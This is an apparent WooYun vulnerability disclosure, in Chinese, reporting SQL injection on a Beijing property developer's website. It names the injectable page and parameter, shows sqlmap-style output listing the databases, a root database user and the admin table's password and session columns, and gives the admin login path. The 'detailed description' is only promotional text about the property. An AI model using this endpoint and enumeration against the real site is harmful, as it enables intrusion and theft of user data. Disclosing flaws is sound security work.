漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2015-0155342
漏洞标题：西山壹号院多处SQL注射漏洞泄露大量用户信息/手机/邮箱/等已getshell
相关厂商：西山壹号院
漏洞作者： 苏宸
提交时间：2015-11-23 19:32
修复时间：2016-01-11 15:32
公开时间：2016-01-11 15:32
漏洞类型：SQL注射漏洞
危害等级：高
自评Rank：10
漏洞状态：未联系到厂商或者厂商积极忽略
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2015-11-23： 积极联系厂商并且等待厂商认领中，细节不对外公开
2016-01-11： 厂商已经主动忽略漏洞，细节向公众公开
简要描述：
rt
详细说明：
西山壹号院地处北京三山五园皇家御苑风景区，北靠北京市重点打造的海淀北部新区科学城，西接200万平米百望山森林公园、昆玉河，南临260亩北京药用植物园、中关村国家自主创新示范区，东毗上地信息产业基地与清华、北大等百年高等学府。
漏洞证明：
http://www.xishanyihaoyuan.com/content.php?id=154 存在SQL注射漏洞
available databases [9]:
[*] cdcol
[*] information_schema
[*] mysql
[*] performance_schema
[*] phpmyadmin
[*] test
[*] webauth
[*] xishanyihao
[*] xishanyihao_20121017
current user: 'root@localhost'
current database: 'xishanyihao'
Database: xishanyihao
[4 tables]
+----------+
| admin |
| category |
| msg |
| news |
+----------+
Database: xishanyihao
Table: admin
[6 columns]
+-------------+------------+
| Column | Type |
+-------------+------------+
| session | char(32) |
| admin_id | int(11) |
| lastLogin | int(11) |
| passwd | char(16) |
| super_admin | tinyint(4) |
| username | char(8) |
+-------------+------------+
http://www.xishanyihaoyuan.com/admin/login.php 后台
修复方案：
版权声明：转载请注明来源 苏宸@乌云
漏洞回应
厂商回应：
未能联系到厂商或者厂商积极拒绝
漏洞Rank：15 (WooYun评价)